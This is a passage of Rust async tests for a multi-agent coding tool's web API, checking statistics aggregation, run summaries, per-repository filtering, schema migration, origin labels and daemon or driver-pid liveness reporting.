20402            stats.json()["runs_unreadable"],
20403            health.json()["runs_unreadable"],
20404            "the dashboard and /api/health must never disagree about how many \
20405             runs could not be read"
20406        );
20407    }
20408
20409    #[tokio::test]
20410    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
20411        let f = Fixture::start().await;
20412        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
20413        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
20414        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
20415
20416        let totals = &f.get("/api/stats").await.json()["totals"];
20417        assert_eq!(totals["runs"], 3);
20418        assert_eq!(totals["merged"], 1);
20419        assert_eq!(totals["stalled"], 1);
20420        assert_eq!(totals["in_progress"], 1);
20421        // A stalled run must never read as blocked/merged/ready - it is its
20422        // own bucket, not folded into a "decided" one.
20423        assert_eq!(totals["blocked"], 0);
20424        assert_eq!(totals["ready"], 0);
20425    }
20426
20427    #[tokio::test]
20428    async fn stats_advisors_report_proposals_and_reflection() {
20429        use crate::advise::{Advice, AdvisorRecord, Reflection};
20430        use crate::verdict::Proposal;
20431
20432        let f = Fixture::start().await;
20433        let mut state = RunState::new(
20434            PathBuf::from("/repo/magi"),
20435            "main".to_owned(),
20436            "0123456789abcdef".to_owned(),
20437            "task".to_owned(),
20438            Config::default(),
20439        );
20440        state.id = "20260902-140501-a".to_owned();
20441        state.status = RunStatus::Merged;
20442        state.advice = Some(Advice {
20443            records: vec![
20444                AdvisorRecord {
20445                    seat: "advisor-1".to_owned(),
20446                    agent: "alpha".to_owned(),
20447                    proposal: Some(Proposal {
20448                        approach: "do it".to_owned(),
20449                        key_tradeoff: "speed over memory".to_owned(),
20450                        risks: Vec::new(),
20451                        touches: Vec::new(),
20452                        why_not_naive: "breaks under load".to_owned(),
20453                    }),
20454                    error: None,
20455                    duration_ms: 0,
20456                    reflection: Reflection::Strong,
20457                },
20458                AdvisorRecord {
20459                    seat: "advisor-2".to_owned(),
20460                    agent: "alpha".to_owned(),
20461                    proposal: None,
20462                    error: Some("timed out".to_owned()),
20463                    duration_ms: 0,
20464                    reflection: Reflection::Absent,
20465                },
20466            ],
20467            synthesis: Some("blended brief".to_owned()),
20468        });
20469        let dir = f.runs().join(&state.id);
20470        std::fs::create_dir_all(&dir).expect("run dir");
20471        std::fs::write(
20472            dir.join("run.json"),
20473            serde_json::to_string_pretty(&state).expect("serialize run"),
20474        )
20475        .expect("write run.json");
20476
20477        // `alpha` is in no roster here; this test is about the rates.
20478        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
20479        let alpha = advisors
20480            .as_array()
20481            .expect("an array")
20482            .iter()
20483            .find(|a| a["agent"] == "alpha")
20484            .expect("alpha row");
20485        assert_eq!(alpha["seated"], 2);
20486        assert_eq!(alpha["proposed"], 1);
20487        assert_eq!(alpha["absent"], 1);
20488        assert_eq!(alpha["strong"], 1);
20489        assert_eq!(alpha["faint"], 0);
20490        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
20491    }
20492
20493    #[tokio::test]
20494    async fn stats_hides_agents_outside_the_roster_unless_all() {
20495        use crate::run::Candidate;
20496        let repo = TempDir::new().expect("repo dir");
20497        std::fs::write(
20498            repo.path().join("magi.toml"),
20499            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
20500        )
20501        .expect("magi.toml");
20502        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
20503        let mut state = RunState::new(
20504            PathBuf::from("/repo/magi"),
20505            "main".to_owned(),
20506            "0123456789abcdef".to_owned(),
20507            "task".to_owned(),
20508            Config::default(),
20509        );
20510        state.id = "20260902-140501-a".to_owned();
20511        state.status = RunStatus::Merged;
20512        for (label, agent) in [('A', "keep"), ('B', "retired")] {
20513            let mut c: Candidate = serde_json::from_value(serde_json::json!({
20514                "index": 0, "label": label.to_string(), "agent": agent,
20515                "branch": "b", "worktree": "/w",
20516            }))
20517            .expect("candidate");
20518            c.label = label;
20519            state.candidates.push(c);
20520        }
20521        let dir = f.runs().join(&state.id);
20522        std::fs::create_dir_all(&dir).expect("run dir");
20523        std::fs::write(
20524            dir.join("run.json"),
20525            serde_json::to_string_pretty(&state).expect("serialize run"),
20526        )
20527        .expect("write run.json");
20528
20529        let agents_of = |v: &serde_json::Value| -> Vec<String> {
20530            v["agents"]
20531                .as_array()
20532                .expect("array")
20533                .iter()
20534                .map(|a| a["agent"].as_str().unwrap().to_owned())
20535                .collect()
20536        };
20537        let hidden = f.get("/api/stats").await.json();
20538        assert_eq!(agents_of(&hidden), ["keep"]);
20539        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
20540        assert_eq!(hidden["totals"]["runs"], 1);
20541
20542        let all = f.get("/api/stats?all=true").await.json();
20543        assert_eq!(agents_of(&all).len(), 2);
20544        assert_eq!(all["retired_hidden"], serde_json::json!([]));
20545        // Verify competitive and solo keys exist on agent entries
20546        let keep_agent = all["agents"]
20547            .as_array()
20548            .unwrap()
20549            .iter()
20550            .find(|a| a["agent"] == "keep")
20551            .unwrap();
20552        assert_eq!(keep_agent["competitive_entered"], 1);
20553        assert_eq!(keep_agent["competitive_wins"], 0);
20554        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
20555        assert_eq!(keep_agent["solo_entered"], 0);
20556        assert_eq!(keep_agent["solo_adopted"], 0);
20557        assert!(keep_agent["solo_adoption_rate"].is_null());
20558    }
20559
20560    #[tokio::test]
20561    async fn stats_release_bumps_split_clean_from_attention() {
20562        use crate::run::ReleaseBump;
20563
20564        let f = Fixture::start().await;
20565
20566        let mut clean = RunState::new(
20567            PathBuf::from("/repo/magi"),
20568            "main".to_owned(),
20569            "0123456789abcdef".to_owned(),
20570            "task".to_owned(),
20571            Config::default(),
20572        );
20573        clean.id = "20260902-140501-a".to_owned();
20574        clean.status = RunStatus::Merged;
20575        clean.release_bump = Some(ReleaseBump {
20576            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
20577            version: Some("1.0.0".to_owned()),
20578            automerge_enabled: true,
20579            merged_directly: false,
20580            local: false,
20581            release: None,
20582            problem: None,
20583            action_required: None,
20584            skipped: None,
20585        });
20586
20587        let mut blocked = RunState::new(
20588            PathBuf::from("/repo/magi"),
20589            "main".to_owned(),
20590            "0123456789abcdef".to_owned(),
20591            "task".to_owned(),
20592            Config::default(),
20593        );
20594        blocked.id = "20260902-140502-b".to_owned();
20595        blocked.status = RunStatus::Merged;
20596        blocked.release_bump = Some(ReleaseBump {
20597            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
20598            version: Some("1.0.1".to_owned()),
20599            automerge_enabled: false,
20600            merged_directly: false,
20601            local: false,
20602            release: None,
20603            problem: Some("checks red".to_owned()),
20604            action_required: Some("look at the PR".to_owned()),
20605            skipped: None,
20606        });
20607
20608        for state in [&clean, &blocked] {
20609            let dir = f.runs().join(&state.id);
20610            std::fs::create_dir_all(&dir).expect("run dir");
20611            std::fs::write(
20612                dir.join("run.json"),
20613                serde_json::to_string_pretty(state).expect("serialize run"),
20614            )
20615            .expect("write run.json");
20616        }
20617
20618        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20619        assert_eq!(bumps["merged"], 2);
20620        assert_eq!(bumps["recorded"], 2);
20621        assert_eq!(bumps["pr_opened"], 2);
20622        assert_eq!(bumps["automerge_enabled"], 1);
20623        assert_eq!(bumps["needs_attention"], 1);
20624        assert_eq!(bumps["clean"], 1);
20625        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
20626        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
20627    }
20628
20629    #[tokio::test]
20630    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
20631        let f = Fixture::start().await;
20632        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
20633
20634        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20635        assert_eq!(bumps["merged"], 1);
20636        assert_eq!(bumps["recorded"], 0);
20637        // `merged` is nonzero, so coverage still reads as a real 0%, not an
20638        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
20639        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
20640        // `pr_opened` and `recorded` are both zero here, so these rates have
20641        // no denominator to compute from and must be null.
20642        assert_eq!(bumps["automerge_rate"], Value::Null);
20643        assert_eq!(bumps["attention_rate"], Value::Null);
20644    }
20645
20646    #[tokio::test]
20647    async fn stats_queue_counts_come_from_the_live_queue() {
20648        let f = Fixture::start().await;
20649        let q = f.queue();
20650        let mut queued = Task::new(
20651            "queued task".to_owned(),
20652            "do it".to_owned(),
20653            PathBuf::from("/repo"),
20654            Source::Human,
20655        );
20656        q.put(&mut queued).expect("put queued");
20657        let mut held = Task::new(
20658            "held task".to_owned(),
20659            "do it later".to_owned(),
20660            PathBuf::from("/repo"),
20661            Source::Human,
20662        );
20663        held.hold_machine(Some("out of attempts".to_owned()));
20664        q.put(&mut held).expect("put held");
20665
20666        let queue = f.get("/api/stats").await.json()["queue"].clone();
20667        assert_eq!(queue["queued"], 1);
20668        assert_eq!(queue["held"], 1);
20669        assert_eq!(queue["running"], 0);
20670        assert_eq!(queue["done"], 0);
20671        assert_eq!(queue["failed"], 0);
20672        assert_eq!(queue["blocked"], 0);
20673    }
20674
20675    #[tokio::test]
20676    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
20677        let f = Fixture::start().await;
20678        let stats = f.get("/api/stats").await;
20679        assert_eq!(stats.status, 200);
20680        assert_eq!(stats.json()["totals"]["runs"], 0);
20681        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
20682        assert_eq!(stats.json()["runs_unreadable"], 0);
20683        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
20684        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
20685        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
20686        assert_eq!(stats.json()["repo"], Value::Null);
20687    }
20688
20689    #[tokio::test]
20690    async fn stats_lists_every_repository_with_runs_recorded() {
20691        let f = Fixture::start().await;
20692        write_run_repo(
20693            &f.runs(),
20694            "20260902-140501-a",
20695            RunStatus::Merged,
20696            "/repos/a",
20697        );
20698        write_run_repo(
20699            &f.runs(),
20700            "20260902-140502-b",
20701            RunStatus::Merged,
20702            "/repos/a",
20703        );
20704        write_run_repo(
20705            &f.runs(),
20706            "20260902-140503-c",
20707            RunStatus::Blocked,
20708            "/repos/b",
20709        );
20710
20711        let stats = f.get("/api/stats").await;
20712        assert_eq!(stats.status, 200);
20713        // Unfiltered - the aggregate across both repositories.
20714        assert_eq!(stats.json()["totals"]["runs"], 3);
20715        assert_eq!(stats.json()["repo"], Value::Null);
20716
20717        let repos = stats.json()["repos"].clone();
20718        let repos = repos.as_array().unwrap();
20719        assert_eq!(repos.len(), 2);
20720        // Busiest (2 runs) first.
20721        assert_eq!(repos[0]["repo"], "/repos/a");
20722        assert_eq!(repos[0]["name"], "a");
20723        assert_eq!(repos[0]["runs"], 2);
20724        assert_eq!(repos[1]["repo"], "/repos/b");
20725        assert_eq!(repos[1]["runs"], 1);
20726    }
20727
20728    #[tokio::test]
20729    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
20730        let f = Fixture::start().await;
20731        write_run_repo(
20732            &f.runs(),
20733            "20260902-140501-a",
20734            RunStatus::Merged,
20735            "/repos/a",
20736        );
20737        write_run_repo(
20738            &f.runs(),
20739            "20260902-140502-b",
20740            RunStatus::Blocked,
20741            "/repos/b",
20742        );
20743
20744        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
20745        assert_eq!(stats.status, 200);
20746        assert_eq!(stats.json()["totals"]["runs"], 1);
20747        assert_eq!(stats.json()["totals"]["merged"], 1);
20748        assert_eq!(stats.json()["repo"], "/repos/a");
20749        // The repository list itself is unaffected by the filter - it is
20750        // what a client switches repositories from.
20751        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
20752        // runs_unreadable is a whole-workload count, never scoped to the
20753        // selected repository - see StatsView::runs_unreadable's own doc.
20754        assert_eq!(stats.json()["runs_unreadable"], 0);
20755    }
20756
20757    #[tokio::test]
20758    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
20759        let f = Fixture::start().await;
20760        write_run_repo(
20761            &f.runs(),
20762            "20260902-140501-a",
20763            RunStatus::Merged,
20764            "/repos/a",
20765        );
20766        write_run_repo(
20767            &f.runs(),
20768            "20260902-140502-b",
20769            RunStatus::Merged,
20770            "/repos/b",
20771        );
20772
20773        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
20774            let json = f.get(uri).await.json();
20775            let daily = json["daily"].as_array().expect("daily is an array");
20776            assert_eq!(daily.len(), 30);
20777            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
20778            let mut sorted = dates.clone();
20779            sorted.sort();
20780            assert_eq!(dates, sorted);
20781            for d in daily {
20782                assert_eq!(
20783                    d["merged"].as_u64().unwrap()
20784                        + d["ready"].as_u64().unwrap()
20785                        + d["other"].as_u64().unwrap(),
20786                    d["runs"].as_u64().unwrap()
20787                );
20788            }
20789            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
20790        }
20791    }
20792
20793    #[tokio::test]
20794    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
20795        let f = Fixture::start().await;
20796        write_run_repo(
20797            &f.runs(),
20798            "20260902-140501-a",
20799            RunStatus::Merged,
20800            "/repos/a",
20801        );
20802
20803        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
20804        assert_eq!(stats.status, 404);
20805    }
20806
20807    #[tokio::test]
20808    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
20809        let f = Fixture::start().await;
20810        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
20811
20812        let summary = f.get("/api/runs").await.json();
20813        let row = &summary[0];
20814        assert_eq!(row["short"], "a1b2");
20815        assert_eq!(row["status"], "ready");
20816        assert_eq!(row["done"], true);
20817        assert_eq!(row["title"], "Add a web UI");
20818        assert_eq!(row["repo_name"], "magi");
20819        assert_eq!(row["judges"], 3);
20820        assert_eq!(row["winner"], Value::Null);
20821        assert_eq!(row["reviews"], 0);
20822
20823        // The short id resolves, and the detail route is the state itself, not
20824        // a projection of it: the UI reads fields the summary does not carry.
20825        let detail = f.get("/api/runs/a1b2").await;
20826        assert_eq!(detail.status, 200);
20827        assert_eq!(detail.json()["base_branch"], "main");
20828        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
20829    }
20830
20831    /// `status: "ready"` alone cannot tell a run still headed for a landing
20832    /// (a PR closed without merging, say) apart from one `[merge] mode =
20833    /// "none"` left unmerged for good — the confusion the operator flagged
20834    /// after the CLI report already grew a `not landed — nothing to do by
20835    /// design` line for exactly this case (`report.rs`). Both the list route
20836    /// and the detail route must carry a flag the phone can key on instead of
20837    /// re-deriving it from `status` + `merge.mode` itself.
20838    #[tokio::test]
20839    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
20840        let f = Fixture::start().await;
20841
20842        let mut none_run = RunState::new(
20843            PathBuf::from("/repo/magi"),
20844            "main".to_owned(),
20845            "0123456789abcdef".to_owned(),
20846            "Add a web UI".to_owned(),
20847            Config::default(),
20848        );
20849        none_run.id = "20260902-140503-none".to_owned();
20850        none_run.status = RunStatus::Ready;
20851        none_run.merge = Some(crate::run::MergeOutcome {
20852            mode: crate::config::MergeMode::None,
20853            ok: true,
20854            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
20855            empty: false,
20856        });
20857        write_state(&f.runs(), &none_run);
20858
20859        let mut pr_run = RunState::new(
20860            PathBuf::from("/repo/magi"),
20861            "main".to_owned(),
20862            "0123456789abcdef".to_owned(),
20863            "Add a web UI".to_owned(),
20864            Config::default(),
20865        );
20866        pr_run.id = "20260902-140504-prcl".to_owned();
20867        pr_run.status = RunStatus::Ready;
20868        pr_run.merge = Some(crate::run::MergeOutcome {
20869            mode: crate::config::MergeMode::Pr,
20870            ok: false,
20871            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
20872            empty: false,
20873        });
20874        write_state(&f.runs(), &pr_run);
20875
20876        let summary = f.get("/api/runs").await.json();
20877        let rows: std::collections::HashMap<&str, &Value> = summary
20878            .as_array()
20879            .expect("an array")
20880            .iter()
20881            .map(|r| (r["id"].as_str().expect("an id"), r))
20882            .collect();
20883        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
20884        assert_eq!(
20885            rows[none_run.id.as_str()]["unmerged_by_design"],
20886            true,
20887            "a mode-none Ready must be flagged in the list"
20888        );
20889        assert_eq!(
20890            rows[pr_run.id.as_str()]["unmerged_by_design"],
20891            false,
20892            "a Ready reached by a closed pull request is a different case"
20893        );
20894
20895        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
20896        assert_eq!(none_detail["status"], "ready");
20897        assert_eq!(none_detail["unmerged_by_design"], true);
20898
20899        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
20900        assert_eq!(pr_detail["unmerged_by_design"], false);
20901    }
20902
20903    /// `RunState::active` is only ever cleared by whoever populated it, so the
20904    /// detail route also has to say whether a daemon is actually still
20905    /// driving this run right now — otherwise a seat from a killed process's
20906    /// last wave would read as live forever.
20907    #[tokio::test]
20908    async fn run_core_survives_unavailable_related_stores() {
20909        let home = TempDir::new().unwrap();
20910        let ui = delta_test_ui(home.path());
20911        let state = RunState::new(
20912            PathBuf::from("/repo/magi"),
20913            "main".into(),
20914            "0123456789abcdef".into(),
20915            "Useful core instructions".into(),
20916            Config::default(),
20917        );
20918        let dir = ui.runs.join(&state.id);
20919        std::fs::create_dir_all(&dir).unwrap();
20920        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
20921        std::fs::write(ui.questions.root(), "unavailable").unwrap();
20922        std::fs::write(ui.queue.root(), "unavailable").unwrap();
20923        let core = run_core(State(ui.clone()), Path(state.id.clone()))
20924            .await
20925            .unwrap()
20926            .0;
20927        assert_eq!(core.state.instruction, state.instruction);
20928        assert_eq!(core.state.updated_at, state.updated_at);
20929        assert!(core.task.is_none());
20930        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
20931    }
20932
20933    #[tokio::test]
20934    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
20935        let f = Fixture::start().await;
20936        // Matches `write_daemon`'s hard-coded `current.run`, so the second
20937        // half of this test can claim the daemon is working on it without a
20938        // second helper.
20939        let id = "20260902-140502-bbbb";
20940        let mut state = RunState::new(
20941            PathBuf::from("/repo/magi"),
20942            "main".to_owned(),
20943            "0123456789abcdef".to_owned(),
20944            "Add a web UI".to_owned(),
20945            Config::default(),
20946        );
20947        state.id = id.to_owned();
20948        state.status = RunStatus::Judging;
20949        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
20950        let dir = f.runs().join(id);
20951        std::fs::create_dir_all(&dir).expect("run dir");
20952        std::fs::write(
20953            dir.join("run.json"),
20954            serde_json::to_string_pretty(&state).expect("serialize run"),
20955        )
20956        .expect("write run.json");
20957
20958        // No daemon.json at all, and no `driver_pid` recorded either (this
20959        // state was written directly, never through `execute()`): there is
20960        // nothing to confirm either way, so the route must say `"unknown"` —
20961        // never `"dead"`, which is exactly the false diagnosis a manual `magi
20962        // run` used to get from this route before `driver_pid` existed.
20963        let cold = f.get(&format!("/api/runs/{id}")).await.json();
20964        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
20965        assert_eq!(cold["live"], "unknown", "{cold}");
20966
20967        // A fresh heartbeat naming exactly this run: the same entry now reads
20968        // as confirmed, not merely recorded.
20969        write_daemon(f.home.path(), Timestamp::now());
20970        let warm = f.get(&format!("/api/runs/{id}")).await.json();
20971        assert_eq!(warm["live"], "live", "{warm}");
20972    }
20973
20974    #[test]
20975    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
20976        let home = tempfile::tempdir().expect("temp home");
20977        let runs = home.path().join("runs");
20978        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
20979            let mut state = RunState::new(
20980                PathBuf::from("/repo/magi"),
20981                "main".to_owned(),
20982                "0123456789abcdef".to_owned(),
20983                "Generated review context, not authored task criteria".to_owned(),
20984                Config::default(),
20985            );
20986            state.origin = origin;
20987            state.status = RunStatus::Blocked;
20988            // Earlier migrations must not infer these facts again.
20989            state.driver_exited = false;
20990            state.gate_ran = true;
20991            let expected = serde_json::to_value(&state).expect("serialize current state");
20992            let mut legacy = expected.clone();
20993            legacy["schema"] = serde_json::json!(13);
20994            legacy.as_object_mut().unwrap().remove("task_instruction");
20995            let dir = runs.join(&state.id);
20996            std::fs::create_dir_all(&dir).expect("run dir");
20997            let path = dir.join("run.json");
20998            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
20999            std::fs::write(&path, &body).expect("write legacy run");
21000
21001            for loaded in [
21002                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
21003                read_run(&runs, &state.id).expect("web migration"),
21004            ] {
21005                assert_eq!(loaded.schema, crate::run::SCHEMA);
21006                assert!(loaded.task_instruction.is_none());
21007                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
21008            }
21009            assert_eq!(runs_unreadable(&runs), 0);
21010            assert_eq!(std::fs::read(&path).unwrap(), body);
21011        }
21012    }
21013
21014    /// Where a run came from is shown, and a run written before origins were
21015    /// recorded (schema 12, no `origin` key) stays readable and says so.
21016    #[tokio::test]
21017    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
21018        let f = Fixture::start().await;
21019        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
21020            let mut state = RunState::new(
21021                PathBuf::from("/repo/magi"),
21022                "main".to_owned(),
21023                "0123456789abcdef".to_owned(),
21024                "Add a web UI".to_owned(),
21025                Config::default(),
21026            );
21027            state.id = id.to_owned();
21028            state.origin = origin;
21029            let mut value = serde_json::to_value(&state).expect("serialize run");
21030            if let Some(schema) = schema {
21031                value["schema"] = serde_json::json!(schema);
21032                value.as_object_mut().unwrap().remove("origin");
21033            }
21034            let dir = f.runs().join(id);
21035            std::fs::create_dir_all(&dir).expect("run dir");
21036            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
21037        };
21038        write(
21039            "20260930-092817-ec34",
21040            Some(crate::run::Origin::from_agent_env(
21041                Some(("4a7b".to_owned(), "chat".to_owned())),
21042                None,
21043            )),
21044            None,
21045        );
21046        write("20260930-092817-0ld1", None, Some(12));
21047
21048        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
21049        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
21050        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
21051
21052        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
21053        assert_eq!(
21054            old["origin_label"], "origin unknown (started before origins were recorded)",
21055            "{old}"
21056        );
21057        assert!(old["origin"].is_null(), "{old}");
21058
21059        let list = f.get("/api/runs").await.json();
21060        let labels: Vec<_> = list
21061            .as_array()
21062            .unwrap()
21063            .iter()
21064            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
21065            .collect();
21066        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
21067    }
21068
21069    #[tokio::test]
21070    async fn run_progress_observation_exposes_activity_without_control_evidence() {
21071        let f = Fixture::start().await;
21072        let mut state = RunState::new(
21073            PathBuf::from("/repo"),
21074            "main".into(),
21075            "abc".into(),
21076            "task".into(),
21077            Config::default(),
21078        );
21079        state.status = RunStatus::Implementing;
21080        state.seat_started(
21081            "implement",
21082            "implement-A",
21083            std::time::Duration::from_secs(60),
21084            0,
21085        );
21086        state.save_under(f.home.path()).unwrap();
21087        let observed = f
21088            .get(&format!("/api/runs/{}/progress", state.id))
21089            .await
21090            .json();
21091        assert_eq!(observed["id"], state.id);
21092        assert!(observed["observed_at"].is_string());
21093        assert_eq!(observed["updated_at"], state.updated_at.to_string());
21094        assert!(observed["progress"]["activity"].is_string());
21095        for field in [
21096            "config",
21097            "candidates",
21098            "land_approval",
21099            "task",
21100            "waiting",
21101            "done",
21102        ] {
21103            assert!(
21104                observed.get(field).is_none(),
21105                "progress must not expose control evidence: {field}"
21106            );
21107        }
21108    }
21109
21110    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
21111    /// review` claims no daemon at all, so before this field existed the
21112    /// route above read it as `"dead"` — indistinguishable from a run a
21113    /// killed process abandoned — the whole time it was genuinely still
21114    /// answering. With a live pid recorded, it must read `"live"` even
21115    /// though no daemon claims it.
21116    #[tokio::test]
21117    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
21118        let f = Fixture::start().await;
21119        let id = "20260922-090000-cccc";
21120        let mut state = RunState::new(
21121            PathBuf::from("/repo/magi"),
21122            "main".to_owned(),
21123            "0123456789abcdef".to_owned(),
21124            "Review only".to_owned(),
21125            Config::default(),
21126        );
21127        state.id = id.to_owned();
21128        state.status = RunStatus::Reviewing;
21129        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
21130        // This test process's own pid: guaranteed alive, and never needs a
21131        // real daemon or a second process to prove it. The matching start-time
21132        // marker is what `liveness` now requires alongside a live pid — see
21133        // `RunState::driver_started_at`'s own doc for why the pid alone is
21134        // not enough.
21135        state.driver_pid = Some(std::process::id());
21136        state.driver_started_at = Some(
21137            crate::proc::process_started_at(std::process::id())
21138                .expect("this test process's own start time must be queryable"),
21139        );
21140        let dir = f.runs().join(id);
21141        std::fs::create_dir_all(&dir).expect("run dir");
21142        std::fs::write(
21143            dir.join("run.json"),
21144            serde_json::to_string_pretty(&state).expect("serialize run"),
21145        )
21146        .expect("write run.json");
21147
21148        let detail = f.get(&format!("/api/runs/{id}")).await.json();
21149        assert_eq!(detail["live"], "live", "{detail}");
21150    }
21151
21152    /// A killed manual run's pid can be handed to a wholly unrelated later
21153    /// process — a live query on `driver_pid` alone would read this as
21154    /// `"live"`, exactly the false positive `driver_started_at` exists to
21155    /// catch (see that field's own doc, and `RunState::liveness_with`'s
21156    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
21157    #[tokio::test]
21158    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
21159        let f = Fixture::start().await;
21160        let id = "20260922-090100-dddd";
21161        let mut state = RunState::new(
21162            PathBuf::from("/repo/magi"),
21163            "main".to_owned(),
21164            "0123456789abcdef".to_owned(),
21165            "Review only".to_owned(),
21166            Config::default(),
21167        );
21168        state.id = id.to_owned();
21169        state.status = RunStatus::Reviewing;
21170        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
21171        // This test process's own pid really is alive, but the marker
21172        // recorded here does not match what it actually started at —
21173        // standing in for the pid having since been reused by a different
21174        // process than the one that wrote `run.json`.
21175        state.driver_pid = Some(std::process::id());
21176        state.driver_started_at = Some("1".to_owned());
21177        let dir = f.runs().join(id);
21178        std::fs::create_dir_all(&dir).expect("run dir");
21179        std::fs::write(
21180            dir.join("run.json"),
21181            serde_json::to_string_pretty(&state).expect("serialize run"),
21182        )
21183        .expect("write run.json");
21184
21185        let detail = f.get(&format!("/api/runs/{id}")).await.json();
21186        assert_eq!(detail["live"], "dead", "{detail}");
21187    }
21188
21189    /// The deck's competition list is normally the first place an operator
21190    /// sees an old run. It must carry the same process verdict as detail, or
21191    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
21192    #[test]
21193    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
21194        let mk = |id: &str, pid: Option<u32>| {
21195            let mut s = RunState::new(
21196                PathBuf::from("/repo/magi"),
21197                "main".to_owned(),
21198                "0123456789abcdef".to_owned(),
21199                "Add a web UI".to_owned(),
21200                Config::default(),
21201            );
21202            s.id = id.to_owned();
21203            s.driver_pid = pid;
21204            s.driver_started_at = Some("1790000000".to_owned());
21205            s
21206        };
21207        let states = vec![
21208            mk("20260902-140502-aaaa", Some(77)),
21209            mk("20260902-140502-bbbb", Some(77)),
21210            mk("20260902-140502-cccc", Some(77)),
21211            mk("20260902-140502-dddd", None),
21212        ];
21213        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
21214        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
21215        let sup: HashMap<String, String> = [(
21216            "20260902-140502-aaaa".to_owned(),
21217            "20260902-140502-cccc".to_owned(),
21218        )]
21219        .into();
21220
21221        let status_calls = std::cell::Cell::new(0);
21222        let identity_calls = std::cell::Cell::new(0);
21223        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
21224            |_| {
21225                status_calls.set(status_calls.get() + 1);
21226                Some(true)
21227            },
21228            |_| {
21229                identity_calls.set(identity_calls.get() + 1);
21230                Some("1790000000".to_owned())
21231            },
21232        ));
21233        let rows = summarize(
21234            states,
21235            &open,
21236            &claimed,
21237            &sup,
21238            |p| probe.borrow_mut().status(p),
21239            |p| probe.borrow_mut().started_at(p),
21240        );
21241
21242        assert_eq!(status_calls.get(), 1, "one pid, one status query");
21243        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
21244        assert_eq!(rows.len(), 4);
21245        assert!(!rows[0].waiting && rows[1].waiting);
21246        assert_eq!(rows[0].live, crate::run::Liveness::Live);
21247        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
21248        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
21249        assert_eq!(rows[1].superseded_by, None);
21250    }
21251
21252    #[test]
21253    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
21254        let mut state = RunState::new(
21255            PathBuf::from("/repo/magi"),
21256            "main".to_owned(),
21257            "0123456789abcdef".to_owned(),
21258            "Review only".to_owned(),
21259            Config::default(),
21260        );
